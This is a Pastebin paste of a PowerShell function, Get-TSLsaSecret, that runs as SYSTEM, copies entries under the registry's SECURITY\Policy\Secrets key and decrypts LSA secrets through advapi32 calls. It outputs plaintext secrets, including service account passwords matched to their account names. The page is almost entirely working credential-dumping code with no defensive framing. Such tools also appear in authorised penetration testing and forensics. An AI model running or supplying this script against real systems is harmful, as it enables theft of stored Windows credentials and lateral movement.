Advertisement
Merzavets

Get secrets from registry

Apr 18th, 2012
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Get-TSLsaSecret {
  2.   <#
  3.     .SYNOPSIS
  4.     Displays LSA Secrets from local computer.
  5.  
  6.     .DESCRIPTION
  7.     Extracts LSA secrets from HKLM:\\SECURITY\Policy\Secrets\ on a local computer.
  8.     The Get-TSLsaSecret command must be run as NT AUTHORITY\SYSTEM.
  9.     Stolen from www.powershell.nu/wp-content/uploads/2012/03/Get-TSLSASecret.txt
  10.  
  11.     .PARAMETER Key
  12.     Name of Key to Extract. if the parameter is not used, all secrets will be displayed.
  13.  
  14.     .EXAMPLE
  15.     Get-TSLsaSecret
  16.  
  17.     .EXAMPLE
  18.     Get-TSLsaSecret -Key KeyName
  19.   #>
  20.  
  21.   param(
  22.     [Parameter(Position = 0,
  23.       ValueFromPipeLine= $true
  24.     )]
  25.     [Alias("RegKey")]
  26.     [string[]]$RegistryKey
  27.   )
  28.  
  29. Begin {
  30. # Check NT AUTHORITY\SYSTEM
  31. if( -not((whoami) -eq "nt authority\system")) {
  32.   Write-Warning -Message "Access Denied, run as NT AUTHORITY\SYSTEM"
  33.   Break
  34. }
  35.  
  36. if([string]::IsNullOrEmpty($registryKey)) {
  37.   [string[]]$registryKey = (Split-Path (Get-ChildItem HKLM:\SECURITY\Policy\Secrets | Select -ExpandProperty Name) -Leaf)
  38. }
  39.  
  40. $signature = @"
  41. [StructLayout(LayoutKind.Sequential)]
  42. public struct LSA_UNICODE_STRING
  43. {
  44.  public UInt16 Length;
  45.  public UInt16 MaximumLength;
  46.  public IntPtr Buffer;
  47. }
  48.  
  49. [StructLayout(LayoutKind.Sequential)]
  50. public struct LSA_OBJECT_ATTRIBUTES
  51. {
  52.  public int Length;
  53.  public IntPtr RootDirectory;
  54.  public LSA_UNICODE_STRING ObjectName;
  55.  public uint Attributes;
  56.  public IntPtr SecurityDescriptor;
  57.  public IntPtr SecurityQualityOfService;
  58. }
  59.  
  60. public enum LSA_AccessPolicy : long
  61. {
  62.  POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
  63.  POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
  64.  POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
  65.  POLICY_TRUST_ADMIN = 0x00000008L,
  66.  POLICY_CREATE_ACCOUNT = 0x00000010L,
  67.  POLICY_CREATE_SECRET = 0x00000020L,
  68.  POLICY_CREATE_PRIVILEGE = 0x00000040L,
  69.  POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
  70.  POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
  71.  POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
  72.  POLICY_SERVER_ADMIN = 0x00000400L,
  73.  POLICY_LOOKUP_NAMES = 0x00000800L,
  74.  POLICY_NOTIFICATION = 0x00001000L
  75. }
  76.  
  77. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  78. public static extern uint LsaRetrievePrivateData(
  79.  IntPtr PolicyHandle,
  80.  ref LSA_UNICODE_STRING KeyName,
  81.  out IntPtr PrivateData
  82. );
  83.  
  84. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  85. public static extern uint LsaStorePrivateData(
  86.  IntPtr policyHandle,
  87.  ref LSA_UNICODE_STRING KeyName,
  88.  ref LSA_UNICODE_STRING PrivateData
  89. );
  90.  
  91. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  92. public static extern uint LsaOpenPolicy(
  93.  ref LSA_UNICODE_STRING SystemName,
  94.  ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
  95.  uint DesiredAccess,
  96.  out IntPtr PolicyHandle
  97. );
  98.  
  99. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  100. public static extern uint LsaNtStatusToWinError(
  101.  uint status
  102. );
  103.  
  104. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  105. public static extern uint LsaClose(
  106.  IntPtr policyHandle
  107. );
  108.  
  109. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  110. public static extern uint LsaFreeMemory(
  111.  IntPtr buffer
  112. );
  113. "@
  114.  
  115. Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil
  116. }
  117.  
  118.   Process{
  119.     foreach($key in $RegistryKey) {
  120.       $regPath = "HKLM:\\SECURITY\Policy\Secrets\" + $key
  121.       $tempRegPath = "HKLM:\\SECURITY\Policy\Secrets\MySecret"
  122.       $myKey = "MySecret"
  123.       if(Test-Path $regPath) {
  124.         Try {
  125.           Get-ChildItem $regPath -ErrorAction Stop | Out-Null
  126.         }
  127.         Catch {
  128.           Write-Error -Message "Access to registry Denied, run as NT AUTHORITY\SYSTEM" -Category PermissionDenied
  129.           Break
  130.         }      
  131.         if(Test-Path $tempRegPath) {
  132.           Remove-Item -Path $tempRegPath -Recurse -Force -ErrorAction Stop
  133.         }
  134.         if(Test-Path $regPath) {
  135.           # Copy Key
  136.           "CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object {
  137.             $copyFrom = "HKLM\SECURITY\Policy\Secrets\" + $key + "\" + $_
  138.             $copyTo = "HKLM\SECURITY\Policy\Secrets\MySecret\" + $_
  139.             $regCopy = reg COPY $copyFrom $copyTo /s /f
  140.           }
  141.         }
  142.         # Attributes
  143.         $objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES
  144.         $objectAttributes.Length = 0
  145.         $objectAttributes.RootDirectory = [IntPtr]::Zero
  146.         $objectAttributes.Attributes = 0
  147.         $objectAttributes.SecurityDescriptor = [IntPtr]::Zero
  148.         $objectAttributes.SecurityQualityOfService = [IntPtr]::Zero
  149.  
  150.         # localSystem
  151.         $localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
  152.         $localsystem.Buffer = [IntPtr]::Zero
  153.         $localsystem.Length = 0
  154.         $localsystem.MaximumLength = 0
  155.  
  156.         # Secret Name
  157.         $secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
  158.         $secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($myKey)
  159.         $secretName.Length = [Uint16]($myKey.Length * [System.Text.UnicodeEncoding]::CharSize)
  160.         $secretName.MaximumLength = [Uint16](($myKey.Length + 1) * [System.Text.UnicodeEncoding]::CharSize)
  161.  
  162.         # Get LSA PolicyHandle
  163.         $lsaPolicyHandle = [IntPtr]::Zero
  164.         [LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION
  165.         $lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy([ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle)
  166.  
  167.         if($lsaOpenPolicyHandle -ne 0) {
  168.           Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle"
  169.           Continue
  170.         }
  171.  
  172.         # Retrieve Private Data
  173.         $privateData = [IntPtr]::Zero
  174.         $ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData($lsaPolicyHandle, [ref]$secretName, [ref]$privateData)
  175.  
  176.         $lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)
  177.  
  178.         $lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult)
  179.  
  180.         if($lsaNtStatusToWinError -ne 0) {
  181.           Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError"
  182.         }
  183.  
  184.         [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData =
  185.         [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING])
  186.  
  187.         Try {
  188.           [string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($lusSecretData.Buffer)
  189.           $value = $value.SubString(0, ($lusSecretData.Length / 2))
  190.         }
  191.         Catch {
  192.           $value = ""
  193.         }
  194.  
  195.         if($key -match "^_SC_") {
  196.           # Get Service Account
  197.           $serviceName = $key -Replace "^_SC_"
  198.           Try {
  199.             # Get Service Account
  200.             $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'" -ErrorAction Stop
  201.             $account = $service.StartName
  202.           }
  203.           Catch {
  204.             $account = ""
  205.           }
  206.         } else {
  207.           $account = ""
  208.         }
  209.  
  210.         # Return Object
  211.         New-Object PSObject -Property @{
  212.           Name = $key;
  213.           Secret = $value;
  214.           Account = $Account
  215.         } | Select-Object Name, Account, Secret, @{Name="ComputerName";Expression={$env:COMPUTERNAME}}
  216.  
  217.         if(Test-Path $tempRegPath) {
  218.           Remove-Item -Path $tempRegPath -Recurse -Force -ErrorAction Stop
  219.         }
  220.       } else {
  221.         Write-Error -Message "Path not found: $regPath" -Category ObjectNotFound
  222.       }
  223.     }
  224.   }
  225. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement